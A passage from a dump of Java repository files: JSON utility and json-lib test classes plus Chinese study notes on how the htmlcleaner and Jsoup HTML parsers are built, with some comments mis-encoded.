字段名称\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceCode\\\\\\\": \\\\\\\"FID_km80kxv5d6\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceType\\\\\\\": \\\\\\\"input\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"valueType\\\\\\\": \\\\\\\"ALL_DATA|NO_NULL_DATA\\\\\\\",  \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"checkType\\\\\\\": \\\\\\\"EQ|KEYWORD_EQ\\\\\\\",  \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"sort\\\\\\\": 1\\\\r\\\\n\\\\t\\\\t\\\\t},\\\\r\\\\n\\\\t\\\\t\\\\t {\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"objectCode\\\\\\\": \\\\\\\"import_export_test_4161\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceName\\\\\\\": \\\\\\\"字段名称2\\\\\\\", // 字段名称\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceCode\\\\\\\": \\\\\\\"FID_km80kxv5d6\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceType\\\\\\\": \\\\\\\"input\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"valueType\\\\\\\": \\\\\\\"ALL_DATA|NO_NULL_DATA\\\\\\\",  \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"checkType\\\\\\\": \\\\\\\"EQ|KEYWORD_EQ\\\\\\\",  \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"sort\\\\\\\": 1\\\\r\\\\n\\\\t\\\\t\\\\t}\\\\r\\\\n\\\\t\\\\t] \\\\r\\\\n\\\\t}\\\",\\n\" +\n                \"        \\\"ruleScope\\\": \\\"{\\\\r\\\\n\\\\t\\\\t\\\\\\\"filterFormula\\\\\\\": \\\\\\\"1 AND 2\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\\\\"duplicationConditions\\\\\\\": [\\\\r\\\\n\\\\t\\\\t\\\\t{\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceName\\\\\\\": \\\\\\\"字段名称1\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"valueType\\\\\\\": \\\\\\\"FIXED_VALUE\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"value\\\\\\\": \\\\\\\"111\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"objectCode\\\\\\\": \\\\\\\"import_export_test_4161\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"conditionType\\\\\\\": \\\\\\\"LIKE\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceCode\\\\\\\": \\\\\\\"FID_kc2zts8ob6\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceType\\\\\\\": \\\\\\\"textarea\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"sort\\\\\\\": 1\\\\r\\\\n\\\\t\\\\t\\\\t}\\\\r\\\\n\\\\t\\\\t\\\\t{\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceName\\\\\\\": \\\\\\\"字段名称2\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"valueType\\\\\\\": \\\\\\\"FIXED_VALUE\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"value\\\\\\\": \\\\\\\"111\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"objectCode\\\\\\\": \\\\\\\"import_export_test_4161\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"conditionType\\\\\\\": \\\\\\\"LIKE\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceCode\\\\\\\": \\\\\\\"FID_kc2zts8ob6\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceType\\\\\\\": \\\\\\\"textarea\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"sort\\\\\\\": 2\\\\r\\\\n\\\\t\\\\t\\\\t}\\\\r\\\\n\\\\t\\\\t] \\\\r\\\\n\\\\t}\\\",\\n\" +\n                \"        \\\"ruleAction\\\": \\\"[\\\\r\\\\n    \\\\\\\"addEdit\\\\\\\":  \\\\r\\\\n        { \\\\r\\\\n            \\\\\\\"hitType\\\\\\\": \\\\\\\"1\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\\\\"value\\\\\\\": \\\\\\\"LYT_0001 | 禁止XXX重复\\\\\\\"  \\\\r\\\\n        },\\\\r\\\\n\\\\t\\\\\\\"service\\\\\\\":  \\\\r\\\\n\\\\t\\\\t\\\\t{ \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"hitType\\\\\\\": \\\\\\\"1\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t}\\\\r\\\\n\\\\t\\\\\\\"import\\\\\\\":  \\\\r\\\\n\\\\t\\\\t\\\\t{ \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"hitType\\\\\\\": \\\\\\\"1\\\\\\\", \\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"value\\\\\\\": \\\\\\\"禁止XXX重复\\\\\\\"  \\\\r\\\\n\\\\t\\\\t\\\\t} \\\\t\\\\t\\\\r\\\\n]\\\"\\n\" +\n                \"    },\\n\" +\n                \"    \\\"trace-id\\\": \\\"metadata1208150203545b9ii\\\"\\n\" +\n                \"}\";\n\n        // 解析并打印\n        JSONObject fullJsonObj = parseComplexJson(rawJsonStr);\n        printHierarchicalJson(fullJsonObj);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_json/src/test/java/com/jun/plugin/json/json_lib/JsonKeyUtils.java",
    "content": "package com.jun.plugin.json.json_lib;\n\nimport cn.hutool.json.JSONObject;\n\npublic class JsonKeyUtils {\n\n    /**\n     * 重命名 JSON 中指定路径的 Key（支持全路径+自动清理空对象）\n     * <p>\n     * 路径规则：\n     * 1. 默认用 \".\" 分隔路径层级（如 \"user.info.oldAge\"）；\n     * 2. 若 Key 本身含 \".\"，请用 \"/\" 作为路径分隔符（如 \"user/info/user.newAge\"）；\n     * 3. 自动删除操作后产生的空 JSONObject。\n     *\n     * @param rootObj      根 JSONObject\n     * @param oldKeyPath   旧 Key 全路径（示例：\"user.info.oldAge\" 或 \"user/info/user.newAge\"）\n     * @param newKeyPath   新 Key 全路径（示例：\"newAge2\" 或 \"user.profile.age\"）\n     */\n    public static void renameJsonKey(JSONObject rootObj, String oldKeyPath, String newKeyPath) {\n        // 空值校验\n        if (rootObj == null || oldKeyPath == null || newKeyPath == null\n                || oldKeyPath.isEmpty() || newKeyPath.isEmpty()) {\n            return;\n        }\n\n        // 自动识别路径分隔符（优先用 /，无则用 .）\n        String pathSeparator = oldKeyPath.contains(\"/\") || newKeyPath.contains(\"/\") ? \"/\" : \".\";\n\n        // 1. 获取旧路径的值 & 删除旧路径 Key（并清理空父级）\n        Object oldValue = getValueByFullPath(rootObj, oldKeyPath, pathSeparator);\n        if (oldValue == null) {\n            return; // 旧路径无值，直接返回\n        }\n        // 删除旧Key，并递归清理空父级\n        removeKeyByFullPathWithClean(rootObj, oldKeyPath, pathSeparator);\n\n        // 2. 将值放入新路径（自动创建不存在的父级 JSONObject）\n        setValueByFullPath(rootObj, newKeyPath, oldValue, pathSeparator);\n    }\n\n    /**\n     * 按全路径获取值（支持自定义分隔符）\n     */\n    private static Object getValueByFullPath(JSONObject rootObj, String fullPath, String separator) {\n        String[] pathSegments = fullPath.split(escapeSeparator(separator));\n        JSONObject currentObj = rootObj;\n\n        for (int i = 0; i < pathSegments.length - 1; i++) {\n            String segment = pathSegments[i];\n            if (!currentObj.containsKey(segment) || !(currentObj.get(segment) instanceof JSONObject)) {\n                return null;\n            }\n            currentObj = currentObj.getJSONObject(segment);\n        }\n\n        String finalKey = pathSegments[pathSegments.length - 1];\n        return currentObj.get(finalKey);\n    }\n\n    /**\n     * 按全路径删除 Key + 递归清理空父级 JSONObject\n     */\n    private static void removeKeyByFullPathWithClean(JSONObject rootObj, String fullPath, String separator) {\n        String[] pathSegments = fullPath.split(escapeSeparator(separator));\n        // 保存所有层级的 JSONObject 和对应 Key，用于后续清理空对象\n        JSONObject[] layerObjs = new JSONObject[pathSegments.length];\n        String[] layerKeys = new String[pathSegments.length];\n\n        // 1. 遍历定位路径，记录每一层的 JSONObject 和 Key\n        layerObjs[0] = rootObj;\n        for (int i = 0; i < pathSegments.length; i++) {\n            if (i > 0) {\n                layerObjs[i] = layerObjs[i - 1].getJSONObject(layerKeys[i - 1]);\n                if (layerObjs[i] == null) {\n                    return; // 路径不存在，直接返回\n                }\n            }\n            layerKeys[i] = pathSegments[i];\n        }\n\n        // 2. 删除最后一级 Key\n        JSONObject targetObj = layerObjs[pathSegments.length - 1];\n        String targetKey = layerKeys[pathSegments.length - 1];\n        targetObj.remove(targetKey);\n\n        // 3. 递归向上清理空 JSONObject（从倒数第二层开始）\n        for (int i = pathSegments.length - 1; i > 0; i--) {\n            JSONObject parentObj = layerObjs[i - 1];\n            String currentKey = layerKeys[i - 1];\n            JSONObject currentObj = layerObjs[i];\n\n            // 若当前 JSONObject 为空，则从父级中删除\n            if (currentObj.isEmpty()) {\n                parentObj.remove(currentKey);\n            } else {\n                break; // 非空则停止向上清理\n            }\n        }\n    }\n\n    /**\n     * 按全路径设置值（自动创建父级，支持自定义分隔符）\n     */\n    private static void setValueByFullPath(JSONObject rootObj, String fullPath, Object value, String separator) {\n        String[] pathSegments = fullPath.split(escapeSeparator(separator));\n        JSONObject currentObj = rootObj;\n\n        for (int i = 0; i < pathSegments.length - 1; i++) {\n            String segment = pathSegments[i];\n            if (!currentObj.containsKey(segment) || !(currentObj.get(segment) instanceof JSONObject)) {\n                currentObj.put(segment, new JSONObject());\n            }\n            currentObj = currentObj.getJSONObject(segment);\n        }\n\n        String finalKey = pathSegments[pathSegments.length - 1];\n        currentObj.put(finalKey, value);\n    }\n\n    /**\n     * 转义分隔符（避免正则特殊字符报错）\n     */\n    private static String escapeSeparator(String separator) {\n        return separator.replace(\".\", \"\\\\.\").replace(\"/\", \"\\\\/\");\n    }\n\n    // 测试示例\n    public static void main(String[] args) {\n        // 测试1：普通全路径替换（清理空对象）\n        String json1 = \"{\\\"user\\\":{\\\"info\\\":{\\\"oldAge\\\":25}}}\";\n        JSONObject root1 = new JSONObject(json1);\n        renameJsonKey(root1, \"user.info.oldAge\", \"user.newAge2\");\n        System.out.println(\"普通全路径替换（清理空对象后）：\\n\" + root1.toStringPretty());\n\n        // 测试2：嵌套多层空对象清理\n        String json2 = \"{\\\"a\\\":{\\\"b\\\":{\\\"c\\\":{\\\"d\\\":\\\"test\\\"}}}}\";\n        JSONObject root2 = new JSONObject(json2);\n        renameJsonKey(root2, \"a.b.c.d\", \"x.y.z\");\n        System.out.println(\"\\n多层空对象清理：\\n\" + root2.toStringPretty());\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_json/src/test/java/com/jun/plugin/json/json_lib/JsonLibTest.java",
    "content": "package com.jun.plugin.json.json_lib;\n\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.junit.Test;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\npublic class JsonLibTest {\n\t@Test\n\tpublic void testArrayToJSON() {\n\t\tboolean[] boolArray = new boolean[] { true, false, true };\n\t\tJSONArray jsonArray = JSONArray.fromObject(boolArray);\n\t\tSystem.out.println(jsonArray);\n\t\t// prints [true,false,true]\n\t}\n\n\t// CollectionתJSON\n\t@Test\n\tpublic void testListToJSON() {\n\t\tList list = new ArrayList();\n\t\tlist.add(\"first\");\n\t\tlist.add(\"second\");\n\t\tJSONArray jsonArray = JSONArray.fromObject(list);\n\t\tSystem.out.println(jsonArray);\n\t\t// prints [\"first\",\"second\"]\n\t}\n\n\t// ַjsonתjson JSONArrayJSONObject\n\t@Test\n\tpublic void testJsonStrToJSON() {\n\t\tJSONArray jsonArray = JSONArray.fromObject(\"['json','is','easy']\");\n\t\tSystem.out.println(jsonArray);\n\t\t// prints [\"json\",\"is\",\"easy\"]\n\t}\n\n\t// Mapתjson jsonObject\n\t@Test\n\tpublic void testMapToJSON() {\n\t\tMap map = new HashMap();\n\t\tmap.put(\"name\", \"json\");\n\t\tmap.put(\"bool\", Boolean.TRUE);\n\t\tmap.put(\"int\", new Integer(1));\n\t\tmap.put(\"arr\", new String[] { \"a\", \"b\" });\n\t\tmap.put(\"func\", \"function(i){ return this.arr[i]; }\");\n\t\tJSONObject jsonObject = JSONObject.fromObject(map);\n\t\tSystem.out.println(jsonObject);\n\t}\n\n\t// beanתɳjson\n\t@Test\n\tpublic void testBeadToJSON() {\n\t\tMyBean bean = new MyBean();\n\t\tbean.setId(\"001\");\n\t\tbean.setName(\"п\");\n\t\tbean.setDate(new Date());\n\t\tList cardNum = new ArrayList();\n\t\tcardNum.add(\"ũ\");\n\t\tcardNum.add(\"\");\n\t\tcardNum.add(\"\");\n\t\tcardNum.add(new Person());\n\t\tbean.setCardNum(cardNum);\n\t\tJSONObject jsonObject = JSONObject.fromObject(bean);\n\t\tSystem.out.println(jsonObject);\n\t}\n\n\t// ͨ͵jsonתɶ\n\t/*\n\t * @Test public void testJSONToObject() throws Exception{ String json =\n\t * \"{name=\\\"json\\\",bool:true,int:1,double:2.2,func:function(a){ return a; },array:[1,2]}\"; JSONObject jsonObject = JSONObject.fromObject( json );\n\t * System.out.println(jsonObject); Object bean = JSONObject.toBean( jsonObject ); assertEquals( jsonObject.get( \"name\" ), PropertyUtils.getProperty( bean,\n\t * \"name\" ) ); assertEquals( jsonObject.get( \"bool\" ), PropertyUtils.getProperty( bean, \"bool\" ) ); assertEquals( jsonObject.get( \"int\" ),\n\t * PropertyUtils.getProperty( bean, \"int\" ) ); assertEquals( jsonObject.get( \"double\" ), PropertyUtils.getProperty( bean, \"double\" ) ); assertEquals(\n\t * jsonObject.get( \"func\" ), PropertyUtils.getProperty( bean, \"func\" ) ); System.out.println(PropertyUtils.getProperty(bean, \"name\"));\n\t * System.out.println(PropertyUtils.getProperty(bean, \"bool\")); System.out.println(PropertyUtils.getProperty(bean, \"int\"));\n\t * System.out.println(PropertyUtils.getProperty(bean, \"double\")); System.out.println(PropertyUtils.getProperty(bean, \"func\"));\n\t * System.out.println(PropertyUtils.getProperty(bean, \"array\"));\n\t * \n\t * List arrayList = (List)JSONArray.toCollection(jsonObject.getJSONArray(\"array\")); for(Object object : arrayList){ System.out.println(object); }\n\t * \n\t * }\n\t */\n\t// jsonɸͶ, List\n\t@Test\n\tpublic void testJSONToBeanHavaList() {\n\t\tString json = \"{list:[{name:'test1'},{name:'test2'}],map:{test1:{name:'test1'},test2:{name:'test2'}}}\";\n\t\t// String json = \"{list:[{name:'test1'},{name:'test2'}]}\";\n\t\tMap classMap = new HashMap();\n\t\tclassMap.put(\"list\", Person.class);\n\t\tMyBeanWithPerson diyBean = (MyBeanWithPerson) JSONObject.toBean(JSONObject.fromObject(json), MyBeanWithPerson.class, classMap);\n\t\tSystem.out.println(diyBean);\n\t\tList list = diyBean.getList();\n\t\tif(list!=null){\n\t\t\tfor (Object o : list) {\n\t\t\t\tif (o instanceof Person) {\n\t\t\t\t\tPerson p = (Person) o;\n\t\t\t\t\tSystem.out.println(p.getName());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// jsonɸͶ, Map\n\t/*@Test\n\tpublic void testJSONToBeanHavaMap() {\n\t\t// Mapһ\n\t\tString json = \"{list:[{name:'test1'},{name:'test2'}],map:{testOne:{name:'test1'},testTwo:{name:'test2'}}}\";\n\t\tMap classMap = new HashMap();\n\t\tclassMap.put(\"list\", Person.class);\n\t\tclassMap.put(\"map\", Map.class);\n\t\t// ʹðʾֱӽjsonΪָԶListȫ,Mapûȫ\n\t\tMyBeanWithPerson diyBean = (MyBeanWithPerson) JSONObject.toBean(JSONObject.fromObject(json), MyBeanWithPerson.class, classMap);\n\t\tSystem.out.println(diyBean);\n\t\tSystem.out.println(\"do the list release\");\n\t\tList list = diyBean.getList();\n\t\tfor (Object o : list) {\n\t\t\tPerson p = (Person) o;\n\t\t\tSystem.out.println(p.getName());\n\t\t}\n\t\tSystem.out.println(\"do the map release\");\n\t\tMorpherRegistry morpherRegistry = JSONUtils.getMorpherRegistry();\n\t\tMorpher dynaMorpher = new BeanMorpher(Person.class, morpherRegistry);\n\t\tmorpherRegistry.registerMorpher(dynaMorpher);\n\t\tMap map = diyBean.getMap();\n\t\tSystem.out.println(map);\n\t\tList output = new ArrayList();\n\t\tfor (Iterator i = map.values().iterator(); i.hasNext();) {\n\t\t\toutput.add((Person) morpherRegistry.morph(Person.class, i.next()));\n\t\t}\n\t\tfor (Object p : output) {\n\t\t\tSystem.out.println(((Person) p).getName());\n\t\t}\n\t}*/\n}\n\nclass MyBean {\n\tpublic void setId(String string) {\n\t\t// TODO Auto-generated method stub\n\t}\n\n\tpublic void setCardNum(List cardNum) {\n\t\t// TODO Auto-generated method stub\n\t}\n\n\tpublic void setDate(Date date) {\n\t\t// TODO Auto-generated method stub\n\t}\n\n\tpublic void setName(String string) {\n\t\t// TODO Auto-generated method stub\n\t}\n}\n\nclass Person {\n\tpublic char[] getName() {\n\t\treturn null;\n\t}\n}\n\nclass MyBeanWithPerson {\n\tpublic char[] getName() {\n\t\treturn null;\n\t}\n\n\tpublic Map getMap() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n\tpublic List getList() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/htmlcleaner/htmlcleaner.md",
    "content": "htmlcleaner代码学习\n---\n相比Jsoup，htmlcleaner支持XPath进行抽取，也是挺有用的。\n\nhtmlcleaner托管在sourceforge下[http://htmlcleaner.sourceforge.net/‎](http://htmlcleaner.sourceforge.net/‎\n)，由于某种原因，访问sourceforge不是那么顺畅，最后选了这个比较新的github上的fork:[https://github.com/amplafi/htmlcleaner](https://github.com/amplafi/htmlcleaner)。\n\nhtmlcleaner的包结构与Jsoup还是有些差距，一开始就被一字排开的类给吓到了。\n\nhtmlcleaner仍然有一套自己的树结构，继承自:`HtmlNode`。但是它提供了到`org.w3c.dom.Document`和`org.jdom2.Document`的转换。\n\n`HtmlTokenizer`是词法分析部分，有状态但是没用状态机，而是用了一些基本类型来保存状态，例如：\n\n    public class HtmlTokenizer {\n\n        private BufferedReader _reader;\n        private char[] _working = new char[WORKING_BUFFER_SIZE];\n\n        private transient int _pos;\n        private transient int _len = -1;\n        private transient int _row = 1;\n        private transient int _col = 1;\n        \n\n        private transient StringBuffer _saved = new StringBuffer(512);\n\n        private transient boolean _isLateForDoctype;\n        private transient DoctypeToken _docType;\n        private transient TagToken _currentTagToken;\n        private transient List<BaseToken> _tokenList = new ArrayList<BaseToken>();\n        private transient Set<String> _namespacePrefixes = new HashSet<String>();\n\n        private boolean _asExpected = true;\n\n        private boolean _isScriptContext;\n    }\n\n浓烈的面向过程编程的味道。\n\n`Tokenize`之后就是简单的用栈将树组合起来。\n\n测试了一下，一个44k的文档，用Jsoup做parse是3.5ms，而htmlcleaner是7.9ms，差距在一倍左右。\n\nXPath部分也是云里雾里，"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup.md",
    "content": "Jsoup学习笔记 \n------\n**Jsoup**是Java世界的一款HTML解析工具，它支持用CSS Selector方式选择DOM元素，也可过滤HTML文本，防止XSS攻击。\n\n学习Jsoup是为了更好的开发我的另一个爬虫框架[webmagic](https://github.com/code4craft/webmagic)，为了学的比较详细，就强制自己用很规范的方式写出这部分文章。\n\n代码部分来自[https://github.com/jhy/jsoup](https://github.com/jhy/jsoup)，添加了一些中文注释以及示例代码。\n\n---------------\n\n## 提纲\n\n1. [概述](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup1.md)\n\n2. [DOM相关对象](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup2.md)\n\n3. [Document的输出](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup3.md)\n\n4. HTML语法分析parser\n\n\t1. [语法分析与状态机基础](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup4.md)\n\t2. [词法分析Tokenizer](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup5.md)\n\t3. [语法检查及DOM树构建](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup6.md)\n\n5. [CSS Selector](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup7.md)\n\n6. [防御XSS攻击](https://github.com/code4craft/jsoup-learning/blob/master/blogs/jsoup8.md)\n\n7. [为Jsoup增加XPath选择功能](https://github.com/code4craft/xsoup)\n\t\n\tJsoup默认没有XPath功能，我写了一个项目[Xsoup](https://github.com/code4craft/xsoup)，可以使用XPath来选择HTML文本。Java里较常用的XPath抽取器是HtmlCleaner，Xsoup的性能比它快了一倍。\n\n-------\n\n## 协议：\n\n相关代码遵循MIT协议。\n\n文档遵循CC-BYNC协议。\n\n[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/code4craft/jsoup-learning/trend.png)](https://bitdeli.com/free \"Bitdeli Badge\")\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup1.md",
    "content": "Jsoup代码解读之一-概述\n------\n>今天看到一个用python写的抽取正文的东东，美滋滋的用Java实现了一番，放到了webmagic里，然后发现Jsoup里已经有了…觉得自己各种不靠谱啊！算了，静下心来学学好东西吧！\n\nJsoup是Java世界用作html解析和过滤的不二之选。支持将html解析为DOM树、支持CSS Selector形式选择、支持html过滤，本身还附带了一个Http下载器。\n\n## 概述\n\nJsoup的代码相当简洁，Jsoup总共53个类，且没有任何第三方包的依赖，对比最终发行包9.8M的SAXON，实在算得上是短小精悍了。\n\n```shell\n    jsoup\n    ├── examples #样例，包括一个将html转为纯文本和一个抽取所有链接地址的例子。    \n    ├── helper #一些工具类，包括读取数据、处理连接以及字符串转换的工具\n    ├── nodes #DOM节点定义\n    ├── parser #解析html并转换为DOM树\n    ├── safety #安全相关，包括白名单及html过滤\n    └── select #选择器，支持CSS Selector以及NodeVisitor格式的遍历\n```\n    \n## 使用\n\nJsoup的入口是`Jsoup`类。examples包里提供了两个例子，解析html后，分别用CSS Selector以及NodeVisitor来操作Dom元素。\n\n这里用`ListLinks`里的例子来说明如何调用Jsoup：\n\n```java\n    public static void main(String[] args) throws IOException {\n        Validate.isTrue(args.length == 1, \"usage: supply url to fetch\");\n        String url = args[0];\n        print(\"Fetching %s...\", url);\n\n        // 下载url并解析成html DOM结构\n        Document doc = Jsoup.connect(url).get();\n        // 使用select方法选择元素，参数是CSS Selector表达式\n        Elements links = doc.select(\"a[href]\");\n\n        print(\"\\nLinks: (%d)\", links.size());\n        for (Element link : links) {\n            //使用abs:前缀取绝对url地址\n            print(\" * a: <%s>  (%s)\", link.attr(\"abs:href\"), trim(link.text(), 35));\n        }\n    }\n```\n    \nJsoup使用了自己的一套DOM代码体系，这里的Elements、Element等虽然名字和概念都与Java XML API`org.w3c.dom`类似，但并没有代码层面的关系。就是说你想用XML的一套API来操作Jsoup的结果是办不到的，但是正因为如此，才使得Jsoup可以抛弃xml里一些繁琐的API，使得代码更加简单。\n     \n还有一种方式是通过`NodeVisitor`来遍历DOM树，这个在对整个html做分析和替换时比较有用：\n\n```java\n    public interface NodeVisitor {\n\n        //遍历到节点开始时，调用此方法\n        public void head(Node node, int depth);\n\n        //遍历到节点结束时(所有子节点都已遍历完)，调用此方法\n        public void tail(Node node, int depth);\n    }\n```\n    \n`HtmlToPlainText`的例子说明了如何使用NodeVisitor来遍历DOM树，将html转化为纯文本，并将需要换行的标签替换为换行\\\\n：\n\n```java\n    public static void main(String... args) throws IOException {\n        Validate.isTrue(args.length == 1, \"usage: supply url to fetch\");\n        String url = args[0];\n\n        // fetch the specified URL and parse to a HTML DOM\n        Document doc = Jsoup.connect(url).get();\n\n        HtmlToPlainText formatter = new HtmlToPlainText();\n        String plainText = formatter.getPlainText(doc);\n        System.out.println(plainText);\n    }\n\n    public String getPlainText(Element element) {\n        //自定义一个NodeVisitor - FormattingVisitor\n        FormattingVisitor formatter = new FormattingVisitor();\n        //使用NodeTraversor来装载FormattingVisitor\n        NodeTraversor traversor = new NodeTraversor(formatter);\n        //进行遍历\n        traversor.traverse(element);\n        return formatter.toString();\n    }\n```\n\n下一节将从DOM结构开始对Jsoup代码进行分析。"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup2.md",
    "content": "Jsoup代码解读之二-DOM相关对象\n-------\n之前在文章中说到，Jsoup使用了一套自己的DOM对象体系，和Java XML API互不兼容。这样做的好处是从XML的API里解脱出来，使得代码精炼了很多。这篇文章会说明Jsoup的DOM结构，DOM的遍历方式。在下一篇文章，我会并结合这两个基础，分析一下Jsoup的HTML输出功能。\n## DOM结构相关类\n\n我们先来看看nodes包的类图：\n\n![node类图][1]\n\n这里可以看到，核心无疑是`Node`类。\n\nNode类是一个抽象类，它代表DOM树中的一个节点，它包含：\n\n* 父节点`parentNode`以及子节点`childNodes`的引用\n* 属性值集合`attributes`\n* 页面的uri`baseUri`，用于修正相对地址为绝对地址\n* 在兄弟节点中的位置`siblingIndex`，用于进行DOM操作\n\nNode里面包含一些获取属性、父子节点、修改元素的方法，其中比较有意思的是`absUrl()`。我们知道，在很多html页面里，链接会使用相对地址，我们有时会需要将其转变为绝对地址。Jsoup的解决方案是在attr()的参数开始加\"abs:\"，例如attr(\"abs:href\")，而`absUrl()`就是其实现方式。我写的爬虫框架[webmagic](http://www.oschina.net/p/webmagic)里也用到了类似功能，当时是自己手写的，看到Jsoup的实现，才发现自己是白费劲了，代码如下：\n\n```java\n    URL base;\n    try {\n        try {\n            base = new URL(baseUri);\n        } catch (MalformedURLException e) {\n            // the base is unsuitable, but the attribute may be abs on its own, so try that\n            URL abs = new URL(relUrl);\n            return abs.toExternalForm();\n        }\n        // workaround: java resolves '//path/file + ?foo' to '//path/?foo', not '//path/file?foo' as desired\n        if (relUrl.startsWith(\"?\"))\n            relUrl = base.getPath() + relUrl;\n        // java URL自带的相对路径解析    \n        URL abs = new URL(base, relUrl);\n        return abs.toExternalForm();\n    } catch (MalformedURLException e) {\n        return \"\";\n    }\n```\n\nNode还有一个比较值得一提的方法是`abstract String nodeName()`，这个相当于定义了节点的类型名(例如`Document`是'#Document'，`Element`则是对应的TagName)。\n\nElement也是一个重要的类，它代表的是一个HTML元素。它包含一个字段`tag`和`classNames`。classNames是\"class\"属性解析出来的集合，因为CSS规范里，\"class\"属性允许设置多个，并用空格隔开，而在用Selector选择的时候，即使只指定其中一个，也能够选中其中的元素。所以这里就把\"class\"属性展开了。Element还有选取元素的入口，例如`select`、`getElementByXXX`，这些都用到了select包中的内容，这个留到下篇文章select再说。\n\nDocument是代表整个文档，它也是一个特殊的Element，即根节点。Document除了Element的内容，还包括一些输出的方法。\n\nDocument还有一个属性`quirksMode`，大致意思是定义处理非标准HTML的几个级别，这个留到以后分析parser的时候再说。\n\n## DOM树的遍历\n\nNode还有一些方法，例如`outerHtml()`，用作节点及文档HTML的输出，用到了树的遍历。在DOM树的遍历上，用到了`NodeVisitor`和`NodeTraversor`来对树的进行遍历。`NodeVisitor`在上一篇文章提到过了，head()和tail()分别是遍历开始和结束时的方法，而`NodeTraversor`的核心代码如下：\n\n```java\n    public void traverse(Node root) {\n        Node node = root;\n        int depth = 0;\n\n        //这里对树进行后序(深度优先)遍历\n        while (node != null) {\n            //开始遍历node\n            visitor.head(node, depth);\n            if (node.childNodeSize() > 0) {\n                node = node.childNode(0);\n                depth++;\n            } else {\n                //没有下一个兄弟节点，退栈\n                while (node.nextSibling() == null && depth > 0) {\n                    visitor.tail(node, depth);\n                    node = node.parent();\n                    depth--;\n                }\n                //结束遍历\n                visitor.tail(node, depth);\n                if (node == root)\n                    break;\n                node = node.nextSibling();\n            }\n        }\n    }\n```\n\n这里使用循环+回溯来替换掉了我们常用的递归方式，从而避免了栈溢出的风险。\n\n实际上，Jsoup的Selector机制也是基于`NodeVisitor`来实现的，可以说`NodeVisitor`是更加底层和灵活的API。\n\n在下一篇博客我会讲讲Document的输出。\n\n\n\n  [1]: http://static.oschina.net/uploads/space/2013/0825/221021_wQvT_190591.png"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/doc/jsoup3.md",
